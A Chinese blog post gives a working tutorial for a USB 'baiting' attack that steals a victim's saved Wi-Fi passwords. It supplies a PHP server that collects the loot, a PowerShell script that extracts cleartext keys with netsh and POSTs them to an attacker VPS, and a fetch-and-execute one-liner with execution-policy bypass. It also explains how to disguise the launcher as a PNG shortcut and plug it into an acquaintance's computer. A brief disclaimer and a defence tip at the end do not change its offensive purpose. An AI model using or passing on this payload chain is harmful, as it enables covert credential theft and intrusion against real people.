USB挂马拿到WIFI账号密码思路

简介

看到一篇文章,描述的是如何利用microSD卡进行入侵,作者的思路是利用“庆祝生日”的名义,给受害者邮寄SD卡。SD卡有预先制作好的图片,受害者一旦打开就可以触发Powershell脚本连接作者的云服务器,然后下载服务器端存储的powershell脚本执行,把受害者的wifi账号密码信息反馈回服务器。同时受害者的电脑上会弹出隐藏的真实图片用以伪装。原文链接:
https://null-byte.wonderhowto.com/how-to/hack-anyones-wi-fi-password-using-birthday-card-part-1-creating-payload-0183043/
这篇文章对他/她的这种思路进行总结改进,并把攻击媒介改成USB(因为很常用),通过把快捷方式伪装成png图片的形式,引诱用户点开中招。本文介绍的方法更容易得手

原理

我们简要阐述一下原理:

  1. 攻击情景
  2. 部署云服务器
  3. 制作USB
  4. 攻击
  5. 引诱受害者/或自己打开图片
  6. 拿到受害者wifi信息
  7. 拔出USB完成攻击

攻击情景

社工攻击:假设你的小迷妹-小V正用崇拜的眼神看着你,听你讲解自己的“传奇故事”,然后你迫不及待地想要展示下自己刚入坑穿越机时制作的AI穿越机(别问我为什么是穿越机,AlphaPilot都是泪),然后你一本正经地说要给她看一张图片,咳咳,然后USB插上她的windows surfacebook(这里的讲述方法只对windows机器有效)。你打开图片,她看到后露出一脸惊讶的表情,然后你自然地拔出USB,到这一步入侵完成~~

部署云服务器

这里不多说了,租一个免费VPS都是可以的,不用多高的存储空间和性能,这里用A社服务器来举例吧,windows用户注意把密钥的owner改成自己,删除所有其他权限,然后:

ssh -i "你的密钥.pem" ubuntu@*你的VPS.IP*

安装PHP:

sudo apt-get update && sudo apt-get install php

停止Apache服务来防止占用PHP端口:

sudo apachectl stop

创建文件夹:

mkdir phpServer

cd进去,然后编辑index.php:

cd phpServer
sudo nano index.php

输入以下内容:

<?php
$file = $_SERVER['REMOTE_ADDR'] . "_" . date("YmdHisms") . ".credz";
file_put_contents($file, file_get_contents("php://input"));
?>

这是个很简单PHP服务器,当你的服务器收到受害者wifi信息时会保存到一个.credz文件内

开启PHP服务器:

sudo php -S 0.0.0.0:80 &

在你的本地主机命令行输入:

curl --data "test for php server!" http://Your-VPS-IP-Here/index.php

(把Your-VPS-IP替换成你的服务器IP)
这时候云服务器phpServer目录下会生成一个credz文件:

cat *.credz

查看文件就可以了

制作远程powershell脚本payload.ps1:

Add-Type -AssemblyName System.Web;

$yourVPS="http://YOUR-VPS-IP-HERE/index.php";

$SDname = (gwmi win32_volume -f 'label=''SD-CARD-NAME-HERE''').Name;
Invoke-Item -Path ("$SDname" + "REAL-IMAGE-NAME-HERE.png");

Foreach ($path in [System.IO.Directory]::EnumerateFiles("C:\ProgramData\Microsoft\Wlansvc\Profiles","*.xml","AllDirectories")) {

Try {
$oXml = New-Object System.XML.XMLDocument;
$oXml.Load($path);
$ssid = $oXml.WLANProfile.SSIDConfig.SSID.name;
$netinfo = netsh.exe wlan show profiles name="$ssid" key=clear;
$pass = (($netinfo | Select-String -Pattern "Key Content") -split ":")[1].Trim();
$sendData += "SSID: " + ($ssid) + "`n" + "PASSWORD: " + ($pass) + "`n`n";
} Catch {}

}

Invoke-WebRequest -Uri $yourVPS -Method 'POST' -Body $sendData;

这里改三样东西:

  1. YOUR-VPS-IP-HERE: 改成你的云服务器IP
  2. REAL-IMAGE-NAME-HERE: 你的真实图片名称,这里就说是drone吧
  3. SD-CARD-NAME-HERE: 你的U盘名称,这里我改成了USB-C用来混淆视听

这个脚本其实呢就是我们要在受害者机器上执行的最终脚本,先是储存在服务器里的,然后用初始powershell脚本来远程下载执行。代码也很简单,就是把受害者的wifi信息发送给服务器。

windows机器的wifi信息是存储在C:\ProgramData\Microsoft\Wlansvc\Profiles\下的,不信可以自己去看。

制作USB

这里选择用一张图片作为payload
图片: 在这里插入图片描述

在这里插入图片描述

改变图片属性为隐藏,这样受害者就看不到了,然后去https://www.icoconverter.com/ 生成图片ICON,下载到U盘,然后下载B2E转换器(bat to exe converter),输入:

powershell -ExecutionPolicy Bypass "IEX (New-Object Net.WebClient).DownloadString('http://YOUR-VPS-IP-HERE/payload.ps1');"

保存在本地,这里命名为drone.exe吧,注意把YOUR-VPS-IP-HERE替换成自己的云服务器地址。这段代码呢其实就是给云服务器发请求,然后远程下载前面说的powershell脚本执行。power shell的限制可以用-ExecutionPolicy Bypass解除。

把drone.exe隐藏,然后创建快捷方式,打开快捷方式的属性->目标,指向drone.exe。 快捷方式原来是lnk后缀的,重命名为drone.png。改变快捷方式icon为之前生成的图片icon,这样它就看起来和正常图片一模一样了。

在这里插入图片描述
(这里某个exe乱入,不好意思~~)
注意,除了重命名的快捷方式文件,其他全部改为隐藏,这样如果受害者没有开启显示隐藏文件,他/她就看不到了:
在这里插入图片描述
到这里我们的准备工作就结束了,开始攻击!

攻击

ssh连到自己的云服务器,开启php服务器监听80端口:

sudo php -S 0.0.0.0:80 &

如果提示错误输入:

sudo killall -9 php

杀之前的进程

引诱受害者/或自己打开图片

用社会工程学接近受害人的电脑,然后骗取他/她的同意插上USB,这时候,点开图片,图片快捷方式执行真正的隐藏exe,隐藏exe请求服务器下载powershell脚本并执行,执行后打开隐藏的真正图片让受害者以为这就是正常的图片。
在这里插入图片描述
然后用ctrl + C结束当前session,但是php服务器还是会在后台运行
同一目录下会保存生成新的credz文件,打开提取受害人wifi信息。

结语

这种方法要成功,要求受害者:

  1. 关闭显示隐藏文件
  2. 使用wifi网络

虽然手段很阴险,但也不是不能防范,日常生活中更要注意不要随便让熟人插入USB,因为这往往是攻击的根源。

事实上不通过这种手段我也能轻松拿到任何一个人的WiFi密码,小V在看我演示如何拿到她的wifi信息后对我好感值+100。最后各位读者遵纪守法,本文只限于讨论技术,对此之外概不负责。

  • 2
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值